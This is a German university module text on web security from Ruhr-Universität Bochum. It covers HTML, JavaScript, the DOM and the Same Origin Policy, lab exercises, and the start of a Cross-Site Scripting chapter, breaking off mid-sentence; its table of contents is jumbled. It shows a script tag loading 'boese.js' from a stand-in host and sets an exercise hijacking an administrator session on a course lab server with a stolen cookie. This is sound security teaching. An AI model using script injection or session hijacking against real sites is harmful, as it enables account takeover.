Seite 1 Modulbeschreibung Modulbezeichnung: Netzsicherheit 3 Studiengang: Bachelor IT-Sicherheit Verwendbarkeit: Dieses Modul ist verwendbar für • Studierende der IT-Sicherheit • Studierende der Informatik • Studierende der Wirtschaftsinformatik • Studierende der Mathematik und Informatik auf Bachelorniveau. Dieses Modul kann nicht als Wahlpflichtmodul gewählt werden, sondern ist ein Pflichtmodul. Lehrveranstaltungen und Lehrformen: Netzsicherheit 3 Modulverantwortliche(r): Prof. Dr. Jörg Schwenk Dozent(in): Prof. Dr. Jörg Schwenk Dauer: 1 Semester Credits: 5 ECTS Studien- und Prüfungsleistungen: Schriftliche Prüfung: 120 min. Schriftliche Prüfung Notwendige Voraussetzungen: • Modul Grundlagen der Programmierung Empfohlene Voraussetzungen: Sprache: Deutsch, aktuelle Facharktikel in englischer Sprache Zuordnung des Moduls zu den Fachgebieten des Curriculums: Einordnung ins Fachsemester: Ab Studiensemester 7 Generelle Zielsetzung des Moduls: Modul zur Förderung und Verstärkung der Fachkompetenz Arbeitsaufwand bzw. Gesamtworkload: Summe: 150 h Präsenzzeit: 2 h • Prüfung: 2h Eigenstudium: 148 h • Durcharbeiten der Studienbriefe: 85 h • Durcharbeiten des Online-Lernmaterials: 15 h • Wahrnehmen der Online Betreuung und Beratung: 10 h • Ausarbeiten von Aufgaben: 30 h • Individuelle Prüfungsvorbereitung der Studierenden: 8 h Seite 2 Lerninhalt und Niveau: Kryptographie wird eingesetzt, um die Vertraulichkeit und Integrität von Daten zu schützen, die über Datennetze übertragen werden. Hierbei werden sowohl symmetrische Verfahren (Mobilfunk, WLAN), als auch asymmetrische bzw. hybride Verfahren (E-Mail, WWW, VPN) eingesetzt. In diesem Modul werden konkrete kryptographische Systeme zur Absicherung des World Wide Web (www) betrachtet und von allen Seiten auf ihre Sicherheit hin beleuchtet. Dieses Modul umfasst folgende Themen: • Same Origin Policy • Cross Site Scripting • Cross Site Request Forgery • XML • Web Services Neben den Systemen selbst werden dabei auch publizierte Angriffe auf diese Systeme besprochen; die Studenten werden aufgefordert, selbst wissenschaftliche Überlegungen zur Verbesserung der Sicherheit anzustellen. Das Niveau der Lerninhalte liegt gemessen am DQR-Niveau bei 6 (Bachelor) Angestrebte Lernergebnisse: Fachkompetenz: Die Studierenden erwerben grundlegendes Wissen im Bereich der Sicherheit von Webanwendung. Sie sind in der Lage die Sicherheit einer Webanwendung einzuschätzen und Angriffspunkte offenzulegen. Methodenkompetenz: Die Studierenden beherrschen den Umgang mit Fachliteratur und können ihr wichtige Informationen eigenständig entnehmen. Weiterhin sind die Studierenden mit verschiedenen Angriffstechniken vertraut, welche auf neue Protokolle und Verfahren übertragen werden können. Sozialkompetenz: Die Studenten tauschen sich über Probleme beim Erarbeiten und Anwenden von neuen Inhalten aus und können problemorientiert diskutieren. Selbstkompetenz: Die Studenten erlangen die Fähigkeit, sich eine Meinung über die Sicherheit von Protokollen zu bilden. Darüber hinaus besitzen sie die Kompetenz, neue Angriffe aus der aktuellen Fachliteratur zu verstehen und ihre Bedeutungen zu evaluieren. Die Studenten entwickeln ein "gesundes Misstrauen"gegenüber vorgegebenen Sicherheitskonzepten. Häufigkeit des Angebots: Jedes Semester Anerkannte Module: Anerkannte anderweitige Lernergebnisse / Lernleistungen: Medienformen: Studienbriefe in schriflicher und elektronischer Form, Onlinematerial in Lernplattform, Übungen über Lernplattform, OnlineKonferenzen, Chat und Forum Seite 3 Literatur: • Understanding Cryptography, Christof Paar, Jan Pelzl, 2010 • Sicherheit und Kryptographie im Internet, Jörg Schwenk, 2005 • Computer Networks, Andrew S. Tanenbaum, 2002 Weitere Literatur wird in der Lehrveranstaltung bekannt gegeben. Modul Netzsicherheit 3 Studienbrief 1: Bausteine von Webanwendungen Studienbrief 2: Cross Site Scripting Studienbrief 3: Cross-Site Request Forgery Studienbrief 4: SQL-Injection Studienbrief 5: Single Sign On Studienbrief 6: XML Security Autor: Prof. Dr. Jörg Schwenk 1. Auflage Ruhr - Universität Bochum © 2015 Ruhr - Universität Bochum Ruhr - Universität Bochum Universitätsstraße 150 44801 Bochum 1. Auflage (24. März 2015) Didaktische und redaktionelle Bearbeitung: Das Werk einschließlich seiner Teile ist urheberrechtlich geschützt. Jede Verwendung außerhalb der engen Grenzen des Urheberrechtsgesetzes ist ohne Zustimmung der Verfasser unzulässig und strafbar. Das gilt insbesondere für Vervielfältigungen, Übersetzungen, Mikroverfilmungen und die Einspeicherung und Verarbeitung in elektronischen Systemen. Inhaltsverzeichnis Seite 3 Inhaltsverzeichnis Einleitung zu den Studienbriefen I. II. III. Studienbrief 1 1.1 1.2 1.3 1.4 1.5 1.6 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Lehrziele . . . . . . . . . . . . . . . . . . Motivation . . . . . . . . . . . . . . . . . Technischer Hintergrund . . . . . . . . . Die Angriffsvarianten und Angriffsziele Clientseitige Gegenmaßnahmen . . . . . Serverseitige Gegenmaßnahmen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Lehrziele . . . . . . . . . . . . . . . . . . . . . . . . Datenbank im Allgemeinen und ihre Verwendung Datenbankmanagementsysteme . . . . . . . . . . . Syntax/Keywords von SQL . . . . . . . . . . . . . Aufbau von Web Applikationen . . . . . . . . . . . HTTP Requests . . . . . . . . . . . . . . . . . . . . Einführung SQL-Injection . . . . . . . . . . . . . . die Flickr Sicherheitslücke . . . . . . . . . . . . . . Prepared Statements . . . . . . . . . . . . . . . . . Eingabenmaskierung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Studienbrief 4 4.1 4.2 4.3 4.4 4.5 4.6 4.7 4.8 4.9 4.10 Studienbrief 5 5.1 5.2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . Cross-Site Request Forgery 15 16 21 25 29 31 34 37 SQL-Injection 37 37 38 40 42 43 47 Single Sign On XML Security Lehrziele . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Übungsaufgaben . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Verzeichnisse I. II. III. 7 7 8 8 10 10 15 . . . . . . . Lernziele . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Übungsaufgaben . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Studienbrief 6 6.1 6.2 Cross Site Scripting Lehrziele . . . . . . . . . . . . Ursachen . . . . . . . . . . . . Kritische Quellen und Senken Beispiel: Reflected XSS . . . . Beispiel: DOM-XSS . . . . . . Gefahren von XSS . . . . . . . Schutzmaßnahmen . . . . . . 4 5 6 7 . . . . . . Studienbrief 3 3.1 3.2 3.3 3.4 3.5 3.6 Bausteine von Webanwendungen Lernziele . . . . . . . . . . . . . . . . . Hypertext Markup Language (HTML) JavaScript . . . . . . . . . . . . . . . . . Document Object Model (DOM) . . . Same Origin Policy (SOP) . . . . . . . Übungsaufgaben . . . . . . . . . . . . Studienbrief 2 2.1 2.2 2.3 2.4 2.5 2.6 2.7 4 Abkürzungen der Randsymbole und Farbkodierungen . . . . . . . . . . . . . . . . . . . . . . Zu den Autoren . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Modullehrziele . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Abbildungen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Tabellen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Literatur . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47 47 48 49 52 52 53 55 57 58 61 61 61 63 63 63 67 67 67 67 Seite 4 Einleitung zu den Studienbriefen Einleitung zu den Studienbriefen I. Abkürzungen der Randsymbole und Farbkodierungen Axiom A Beispiel B Definition D Exkurs E Kontrollaufgabe K Merksatz M Quelle Q Satz S Übung Ü Zu den Autoren Seite 5 II. Zu den Autoren Prof. Jörg Schwenk leitet den Lehrstuhl Netz- und Datensicherheit an der RuhrUni Bochum seit dem Jahr 2003. Von 1993 bis 2001 arbeitete er im Bereich Sicherheit der Deutschen Telekom in verschiedenen Industrieprojekten. Anschließend lehrte er zwei Jahre lang an der Georg-Simon-Ohm FH Nürnberg. Er hat mehr als 60 Patente und mehr als 40 wissenschaftliche Publikationen verfasst. Seine Forschungsinteressen umfassen kryptographische Protokolle (SSL/TLS, IPSec), XML- und Webservice-Security, sowie Web- und Internetsicherheit. Seite 6 Einleitung zu den Studienbriefen III. Modullehrziele Das WWW hat eine einzigartige Erfolgsgeschichte erlebt. Aus diesem Grund gehen immer mehr Firmen dazu über, Geschäftsprozesse mittels Webservices über WWW-Techniken zu vernetzen. Dazu wird heute SOAP eingesetzt, das Datenformat ist XML. In dieser Vorlesung soll es um die Sicherheit von Webservices gehen. Sie besteht aus drei Teilen: Im ersten Teil soll das heutige WWW vorgstellt werden, da viele Konzepte aus XML oder Webservices ohne grundlegende Kenntnisse der Standards http, HTML, Javascript, PHP, etc. nicht verständlich sind. Der zweite Teil bietet eine Einführung in XML und seine Co-Standards, insbesondere XML Signature und XML Encryption. Der dritte Teil stellt die WS-Security Protokoll Suite vor, so weit sie bis heute publiziert ist. Die Studierenden haben ein Verständnis für die neuartigen Sicherheitsanforderungen und Probleme, die durch den Einsatz von XML- und WS-Security entstehen. Dieses Modul basiert auf den Kapiteln 10 und 11 des im Springer Vieweg Verlag erschienenen Buches “Sicherheit und Kryptographie im Internet” von Jörg Schwenk Schwenk [2014] Studienbrief 1 Bausteine von Webanwendungen Studienbrief 1 Bausteine von Webanwendungen 1.1 Lernziele Sie kennen Grundlagen von Webanwendungen. Sie erklären HTML und zeigen das Zusammenspiel von HTTP und HTML im Web auf. Sie begründen, warum Javascript im Webkontext eine wichtige Rolle spielt und erläutern in diesem Zusammenhang das DOM. Dieser Studienbrief basiert auf [Schwenk, 2014, Kapitel 11.1]. 1.2 Hypertext Markup Language (HTML) Die Hyptext Markup Language (kurz: HTML) ist eine plattformunabhängige Dokumentbeschreibungssprache, welche hauptsächlich für Darstellung von Websites gebraucht wird. Ein HTML-Dokument, welches mit jedem beliebigen Texteditor erstellt werden kann, enthält neben den zu übertragenden Text auch HTML-Befehle (Tags, Marken) welche für die Formatierung des Textes, Einbindung von Mediendateien (z.B. Bilder), Querverweise auf andere Dokumente (Hyperlinks) und Formulare für Eingaben zuständig sind. Das Grundgerüst eines HTML-Dokuments sieht wie folgt aus: Quelltext 1.1 <html> <head> < t i t l e > T i t e l der Website</ t i t l e > </head> <body> Hier s t e h t e i n Text . </body> </html> Mit dem <body>-Tag beginnt der Abschnitt mit den zu übertragenden sichtbaren Inhalten. Dieser Abschnitt wird mit </body> geschlossen. Mit HTML können auch externe Inhalte und Skripte in die Website eingebunden werden. Zum Beispiel kann man mit dem folgendem Tag ein JavaScript-Code einbinden: Quelltext 1.2 < s c r i p t type= " t e x t / j a v a s c r i p t " > . . . </ s c r i p t > Mit dem Attribut type hat man die hier zu verwendende Skriptsprache festgelegt. Meistens wird JavaScript verwendet. Seite 7 Seite 8 Studienbrief 1 Bausteine von Webanwendungen 1.3 JavaScript JavaScript ist eine Skriptsprache die die Möglichkeiten von HTML um einiges erweitert. Mit JavaScript kann man Benutzerinteraktionen auswerten, Inhalte verändern, nachladen, generieren und vieles mehr. Somit ist diese Skriptsprache darauf ausgelegt auf Websites verwendet zu werden. Mit JavaScript lässt sich objektorientiert und sowohl prozedural als auch funktional programmieren SELFHTML [a]. JavaScript-Skripte kann man direkt innerhalb eines HTML-Dokuments programmieren oder separat in einer externen Datei. Diese werden clientseitig zur Laufzeit vom Web-Browser interpretiert, welche somit dann auch dementsprechende Interpreter-Software besitzen. Des Weiteren wird JavaScript in einer so genannten "Sandbox" ausgeführt, welche man sich als eine Art Sicherheitskäfig vorstellen kann in dem Skriptsprachen nach außen keinen Einfluss haben. Man hat also nur Zugriff auf die Objekte des Browsers und somit ist es nicht möglich mittels JavaScript auf das Dateisystem zuzugreifen. JavaScript wird auch häufig dazu verwendet eine Interaktion mit dem Benutzer zu realisieren. Eine solche Interaktion mit dem Benutzer erfolgt meistens über Änderungen an Inhalten des HTML-Dokuments. Dabei greift JavaScript über die DOM-API auf die Elemente des HTML-Dokuments zu. 1.4 Document Object Model (DOM) Das Document Object Model (kurz DOM) ist eine vom Word-Wide-Web Consortium (W3C) verabschiedete Spezifikation W3C [d]. Es ist eine Sprach- und Plattformunabhängige Schnittstelle (API) zwischen einem Programm, hier dem Browser, und einem HTML- beziehungsweise XML-Dokument. Die Elemente dieser Dokumente werden im Browser in einer baumartigen Struktur (Abbildung 2.1), genannt DOM-Tree, abgebildet und dem darunter liegenden JavaScript-Interpreter als Objekte zur Verfügung gestellt, wodurch eine Manipulation mit Hilfe von JavaScript ermöglicht wird. Die Entwicklung des Document Object Models umfasst mehrere Stadien, die Level genannt werden. Das Document Object Model begann zunächst als, nicht eigenständiger, Teil der HTML4 Spezifikation. Mit der Veröffentlichung von JavaScript durch Netscape im Jahre 1995 und JScript durch Microsoft im Jahre 1996 gab es die eingeschränkte Möglichkeit, Inhalte einer Seite dynamisch zu manipulieren und auf Interaktionen des Nutzers zu reagieren. Die damalige Implementierung dieser Zugriffe wird allgemein als DOM-Level 0 angesehen. Da Browser-Skriptsprachen bis dahin nicht standardisiert waren, wurde 1997 die ECMAScript-Spezifikation geschaffen ECMA. Nach dieser Veröffentlichung gewann auch die Standardisierung des DOM an Bedeutung. Daher hat das W3C gegen Ende 1998 das DOMLevel 1 ins Leben gerufen, welche die Zielsetzung hatte, einen gemeinsamen Standard für den Zugriff auf HTML- und XML Dokumente zu finden W3C [a]. Hiermit war es bereits möglich auf alle Objekte des Dokuments zuzugreifen. Im Jahre 2000 wurde die nächste Spezifikation (Level 2) veröffentlicht W3C [b], die einige Erweiterungen mit sich brachten. Dazu gehören die Model Events, welche die Möglichkeit bieten auf UI Events und Veränderungen von Objekten zu reagieren. Gegen Mitte 2004 wurde dann die noch aktuelle DOM-Version (Level 3) veröffentlicht W3C [c], die weitere Änderungen bezüglich XPath und Keyboard Events mit sich brachten. Die kommende DOM-Version (Level 4) befindet sich momentan noch in Arbeit. 1.4 Document Object Model (DOM) Seite 9 Der W3C Standard spezifiziert eine Schnittstelle für den Zugriff auf HTML- oder XML- Dokumente. Mittels einer DOM-API (Application Programming Interface) können JavaScript-Skripte auf das geladene HTML Dokument zugreifen. Bei der DOM-API handelt es sich um eine konkrete Implementierung der abstrakten DOM-Schnittstelle. Die bereits erwähnte Baumstruktur, die bei DOM vorliegt sieht wie folgt aus: Abb. 1.1: DOM-Baum (Haessler, 2007) Das document-Objekt befindet sich in der Reihenfolge noch vor dem htmlObjekt, welches in dieser Abbildung als Wurzel gekennzeichnet ist. Nach dem html-Objekt folgt das head- und body-Objekt. Über die DOM-API kann man mittels JavaScript mit verschiedenen Methoden auf Elemente dieses DOM-Baums zugreifen, neue Elemente erzeugen und in den Baum einhängen oder Teile des DOM-Baums löschen. Hier einige wichtige JavaScript DOM-Funktionen: (Zugriff über documentObjekt) Ulrike Haessler [2014] Zugriff auf das DOM getElementById() getElementsByTagName() getElementsByClassName() Neue Knoten erzeugen createElement() createDocumentFragment() createTextNode() createAttribute() cloneNode() HTML-Attribute manipulieren getAttribute() setAttribute() removeAttribute() Den DOM-Baum manipulieren insertBefore() replaceChild() removeChild() appendChild() Seite 10 Studienbrief 1 Bausteine von Webanwendungen Beispiel: Quelltext 1.3 var button = document . c r e a t e E l e m e n t ( " in pu t " ) ; button . type = " button " ; button . value = " im a button " ; Mit diesem Beispiel wird ein input-Element (<input>-Tag) erzeugt. Der Typ (type-Attribut) wird mit dem Wert button definiert. Diese Schaltfläche erhält als Aufschrift im a button. 1.5 Same Origin Policy (SOP) Die Same Origin Policy ist ein Sicherheitskonzept für clientseitige Skriptsprachen wie JavaScript Dipl.-Inform. Carsten Eilers [2012]. Diese Grundregel erlaubt nur den Zugriff auf Dokumente der selben Herkunft, wie das ausgeführte Skript. Damit also ein JavaScript auf ein anderes Dokument zugreifen kann als das Dokument von wo es ausgeführt wird, müssen Host (bzw. Domain) und Port mit der Herkunft des Skripts übereinstimmen. Diese Grundregel würde beispielsweise auch verhindern, dass ein JavaScript-Code aus einem eingeschleusten Inlineframe auf das DOM der eigentlichen Seite zugreift und dort Daten ausspäht oder manipuliert. Die Same Origin Policy hat allerdings keinen Einfluss auf die Einbindung eines externen Skripts. Es ist also möglich mittels des HTML <script>-Tags auch JavaScript-Codes verschiedener Herkunft einzubinden. Zum Beispiel kann man wie folgt einen externen JavaScript-Code ausführen: Quelltext 1.4 < s c r i p t type =" t e x t / j a v a s c r i p t " s r c =" h t t p :// example . com/boese . j s "></ s c r i p t > Diesem JavaScript-Code wird die Herkunft der einbindenden Webanwendung zugewiesen. Es kann also auf Daten im DOM zugreifen. Allerdings hat dieses Skript dann keine Möglichkeit, mit dem eigenen Server (example.com) zu kommunizieren. Dies kann im Fall von Cross-Site-Scripting sich als ein schwerwiegendes Sicherheitsproblem rausstellen. 1.6 Übungsaufgaben 1.6 Übungsaufgaben Übung 1.1 Besuchen Sie die Webseite unter http://cloud.nds.rub.de:7044. Seite 11 Ü a) Lassen Sie sich von Ihrem Browser den Seitenquelltext anzeigen. Geben Sie die ersten 5 Zeilen des HTML-Quelltextes als Lösung ab. Erklären Sie kurz die Bedeutung der jeweiligen Zeilen (ein Satz pro Zeile). b) Geben Sie ebenfalls den übertragenen HTTP Header der Antwort an. Welche Informationen können diesem entnommen werden (ein Satz pro Header-Zeile)? Übung 1.2 Gehen Sie davon aus, dass Sie mit einem Angriff in der Lage waren, einem Administrator der Seite http://cloud.nds.rub.de:7044 das SessionCookie zu stehlen. Das Session-Cookie des Administrators hat den Wert f026a85a6952. Ü a) Übernehmen Sie die Session des Administrators. Wie Sie sehen, kann ein Administrator Verifikationscodes berechnen lassen. Wie lautet ihr Verifikationscode? b) Welche der Daten, die Sie an den Server senden, beeinflussen den Verifikationscode und welche nicht? c) Knobelaufgabe: Finden Sie heraus, wie genau der Verifikationscode berechnet wird. Geben Sie eine Berechnungsvorschrift an, mit der man Verifikationscodes für beliebige Studenten ermitteln kann. Übung 1.3 Unter der URL http://cloud.nds.rub.de:7044/checksum nimmt der Server HTTP POST-Requests entgegen. Wenn Sie eine Matrikelnummer mit dem Parameternamen matrNum an den Server senden, antwortet dieser mit einer Checksumme. Geben Sie die Checksumme für ihre Matrikelnummer als Lösung an. Beschreiben Sie (kurz!) wie sie vorgegangen sind. Ü Seite 12 Ü Studienbrief 1 Bausteine von Webanwendungen Übung 1.4 Unter http://www.wireshark.org/ finden Sie das Programm Wireshark. Laden Sie sich die aktuellste Version herunter, installieren Sie sie, und machen Sie sich damit vertraut. Sie werden dieses Programm in den nachfolgenden Übungen noch oft verwenden. Starten Sie den Capture-Mode, besuchen Sie dann die Webseite http://nds.rub.de/ mit einem Browser und beenden Sie den CaptureMode wieder. Suchen Sie in der angezeigten Liste nach einem Eintrag mit Protokolltyp HTTP, der nach dem Besuch der Webseite entstanden ist. Lassen Sie sich den zugehörigen Datenstrom anzeigen (Rechtsklick auf den Eintrag, dann Follow TCP Stream). a) Wie viele Requests werden vom Browser gestellt, bis die Webseite vollständig geladen wurde? Beschreiben Sie die Requests. Eine Antwort in Form einer Zahl ist nicht ausreichend. b) Was bedeuten die unterschiedlichen Farben in dem Follow TCP Stream Fenster? Ü Übung 1.5 Wireshark bietet Ihnen die Möglichkeit die mitgeschnittenen Daten effizient und übersichtlich zu filtern. Welchen Filter müssen sie jeweils eingeben, damit die folgenden Daten angezeigt werden können? Hinweis: Es kann mehrere richtig Lösungen geben. Bitte dann eine möglichst einfach zu lesen/verstehende nehmen. a) Es soll nur HTTP Traffic angezeigt werden. b) Es soll nur HTTP, FTP und Email Traffic angezeigt werden. Beachten sie, dass Email Traffic aus mehreren Protokollen besteht. c) Es soll nur der HTTP Traffic zwischen Nutzer und der Webseite http://nds.rub.de/ (Request plus Responses) angezeigt werden. d) Es soll nur der HTTP Traffic für angeforderte Internet Seiten angezeigt werden, die über die GET Methode angefragt wurden und den Teilstring login enthalten (z.B. login.php). e) Es sollen alle Protokolle mit Ausnahme von DNS und HTTP angezeigt werden. 1.6 Übungsaufgaben Übung 1.6 Gegen sei das folgende HTML/Javascript Template: Seite 13 Ü Quelltext 1.5: HTML/Javascript Template < !DOCTYPE html> <html> <head> <meta http−equiv= " Content−Type " c o n t e n t= " t e x t /html ; ␣ c h a r s e t = u t f −8" /> < t i t l e > J a v a S c r i p t </ t i t l e > <script> function deleteText ( ) { } f u n c t i o n countChars ( ) { } </ s c r i p t > </head> <body> < t e x t a r e a >This i s an example t e x t </ t e x t a r e a > <div> <button type= " button " > D e l e t e t e x t </button> </div> <p> The t e x t c o n t a i n s <span>NUMBER OF CHARs</span> c h a r a c t e r s . </p> </body> </html> Ergänzen sie das Dokument wie folgt: a) Implementieren sie die deleteText() JavaScript Methode. Diese soll den Text des <textarea/> Elements per JavaScript löschen. b) Die deleteText() Methode soll beim Klicken auf den entsprechenden Knopf ausgeführt werden. c) Implementieren sie die countChars() JavaScript Methode. Diese soll die Anzahl der Zeichen ermitteln, die der Text aus dem <textarea/> Element enthält. Das Ergebnis soll in das <span/> Element geschrieben werden. d) Die countChars() Methode soll automatisch ausgeführt werden, wenn sich der Text ändert. Hinweise: • Wenn Sie möchten, dürfen sie die HTML-Elemente um geeignete HTML-Attribute ergänzen. Es sollen jedoch kein weiteren HTMLElemente erstellt/eingefügt werden. • Verwenden Sie nur standardkonformes JavaScript. Verwenden sie z.B. keine veralteten, proprietären Erweiterungen von Microsoft, die nur im Internet Explorer funktionsfähig sind. • Lösen Sie diese Aufgabe ohne JavaScript-Libraries wie JQuery, etc. Geben sie das vollständige HTML Dokument ab. Es ist nicht notwendig, jeden Einzelschritt einzureichen. Ein Dokument für die gesamte Aufgabe ist ausreichend. Studienbrief 2 Cross Site Scripting Studienbrief 2 Cross Site Scripting 2.1 Lehrziele Sie können die wichtige Angriffstechnik Cross-Site Scripting erläutern und darstellen, wie durch solche Angriffe Schaden entstehen kann. Dieser Studienbrief erweitert [Schwenk, 2014, Kapitel 11.2]. Mit der breiten Vernetzung von Nutzern und Systemen ist IT-Sicherheit ein wichtiger Punkt bei der Entwicklung von Anwendungen geworden. Genau wie im Binarybereich gibt es auch im Web-Developer Bereich typische Sicherheitslücken, die durch unsichere Programmierweisen entstehen können. Neben Schwachstellen, wie SQL-Injections und Remote Code Executions, gibt es noch weitere kritische Arten, die verheerende Folgen für Systeme und Nutzer haben können. Eine dieser Art von Schwachstellen ist die Cross-Site-Scripting-Schwachstelle, welche wir nun in diesem Abschnitt erläutern. Das Cross-Site-Scripting (kurz XSS) lässt sich in den Bereich Code-InjectionSchwachstellen kategorisieren. Hierbei gelingt es einem Angreifer JavaScriptCode im Browser eines Nutzers auszuführen, indem er einen Schadcode (Payload) auf einer Seite hinterlässt oder den Nutzer dazu bringt den Payload per GEToder POST-Requests an den Server zu schicken. Dies erlaubt die Umgehung der Cross-Origin-Policy und ermöglicht es einem Angreifer, im schlimmsten Fall, die Identität eines Nutzers zu stehlen. Dies kann verherende Folgen haben, abhängig von den Berechtigung des Nutzers innerhalb des Systems. Statistisch gesehen war die XSS-Schwachstelle 2005 und 2006 die am häufigsten gemeldete Schwachstellenart CWE und machte 2007 84% aller Web-Schwachstellen aus Symantec [2007]. In den OWASP TOP 10 waren XSS im Jahre 2010 auf Platz zwei OWASP [a] und 2013 auf Platz drei OWASP [b] der kritischsten Sicherheitslücken im Web. Die Gruppierungen der XSS-Schwachstellen sind in keiner Weise standardisiert. Jedoch lassen sie sich in gdrei Kategorien unterteilen: Reflected XSS, Stored XSS und DOM-basiertes XSS. Die Reflected-XSS Schwachstelle ist eine XSS-Lücke, bei der die Benutzereingabe über GET- oder POST-Parameter an eine Seite übergeben wird. Daraufhin gibt die Seite die Usereingabe auf der Folgeseite wieder aus. Ein Beispiel für ein Szenario dieser Art ist eine Suchfunktion, bei welcher der Suchbegriff über einen POST-Parameter verschickt wird und dieser Suchbegriff erneut auf der ErgebnisSeite angezeigt wird. Wenn der Angreifer nun einen funktionalen HTML- oder JavaScript-Code einschleust wird dieser auf der Ergebnis-Seite ausgegeben und ausgeführt. Dadurch kann ein Angreifer beliebigen Code im Kontext dieser Seite ausführen. Die zweite große Art von XSS-Lücken ist die so genannte StoredXSS. Bei der Stored-XSS muss im Gegensatz zur Reflected-XSS der Payload nicht bei jedem Aufruf erneut mitgesendet werden. Bei dieser Art von XSS sendet der Angreifer einmalig seinen Payload an den Server, welchen der Server in einen Speicher, wie zum Beispiel eine Datenbank, ablegt und diesen Eingabe auf einer anderen Seiten wieder ausgeben kann. Ein Szenario für diese Art von Lücke könnte ein Gästebuch, Forum oder ein Kommentarsystem sein, bei dem Nutzer einen Inhalt hinterlassen können. Dieser Inhalt wird dann für alle Nutzer wieder sichtbar. Wenn die Eingabe eines Nutzers nun nicht validiert oder die Ausgabe nicht gefiltert wird, kann ein Angreifer einen Payload mit JavaScript einschleusen, wel- Seite 15 Seite 16 Studienbrief 2 Cross Site Scripting Abb. 2.1: XSS Kategorien Persistent Stored Nicht persistent Reflected Dom-basiert Local cher im Kontext der Seite und bei jedem Nutzer, der diese Seite öffnet, ausgeführt wird. Die dritte Art von Cross-Site-Scripting Schwachstellen wird DOM-basiertes XSS genannt, auch bekannt als local XSS. Auf diese Variante gehen wir ausführlich im Folgekapitel ein. Ein XSS-Angriff wird mittels injizierter Skripte (z.B. JavaScript) und HTML (Hypertext Markup Language) durchgeführt OWASP Foundation [a]. Mit diesen Mitteln kann man dann an sensible Daten von Benutzern dieser verwundbaren Website gelangen. Je nachdem was für ein XSS-Angriff erfolgreich durchgeführt wurde, ist der Diebstahl von Benutzer-Sessions, Phishing-Angriffe (z.B. Benutzerdaten stehlen), Websiteumgestaltung (z.B Verbreitung von Falschmeldungen), Verbreitung von XSS-Würmern (in Kombination mit Cross-Site-Request-Forgery) und vielem mehr möglich Rötten, Christiane und Glemser, Tobias. [2007]. Man sieht also, dass Cross-Site-Scripting ein breites Spektrum an möglichen Webangriffen bietet. Des Weiteren gehört XSS zu den meist auftretenden Schwachstellen von Webapplikationen. Demnach ist Cross-Site-Scripting ein nicht zu unterschätzender Angriff auf Websites, welcher großen Schaden an der Website und an dessen Betreiber und Besucher anrichten kann Prof. Dr. Jörg Schwenk. 2.2 Ursachen Bis auf die Mutation-basierte XSS-Variante, haben alle XSS-Varianten die selbe Grundproblematik. Ein Nutzer ist auf einer Seite und nimmt eine Eingabe vor (Abbildung 2.2). Diese Eingabe wird von der Webseite beziehungsweise dem darunter liegendem System verarbeitet und entweder direkt ausgegeben (Reflected) oder permanent gespeichert (Stored) und erst später ausgegeben. In allen Fällen ist das wichtige hierbei, dass die Ausgabe auf denselben DOM zugreift, wie die Seite selber. Dazu zählen auch Objekte wie das Cookie. Die Ausgabe selber befindet sich meist in einem Kontext innerhalb der Seite. Entweder wird es frei innerhalb der Seite ausgegeben oder es befindet sich als Attribut innerhalb eines HTMLTags. Ein Angreifer könnte als Eingabe nun valide HTML-Metazeichen benutzen und aus diesem Kontext ausbrechen und eigenen Code einfügen, der dann jeweils bei den Nutzern der selben Seite ausgeführt werden. Nicht-Persistentes bzw. reflektiertes XSS Beim nicht-persistenten bzw. reflektierten Cross-Site-Scripting wird die Benutzereingabe direkt vom Server zurückgesendet und wird ohne weiteres direkt ausgegeben vulnerability-lab.com Prof. Dr. Jörg Schwenk OWASP Foundation [b] BSI. Die Skriptinjektion kann über Eingabefelder oder Suchmasken durchgeführt werden. Bei dieser Angriffsart handelt es sich um ein nicht-persistenten Abb. 2.2: Verarbeitung einer Nutzereingabe Eingabe Verarbeitung Ausgabe 2.2 Ursachen Seite 17 Abb. 2.3: Reflektiertes XSS (Rütten, 2007) Cross-Site-Scripting Angriff, da der eingeschleuste Schadcode nicht vom Server gespeichert wird, sondern nur temporär bei der jeweiligen Generierung der Website ausgeführt wird. Um diesen Angriff auch zu realisieren muss man die URL (Uniform Resource 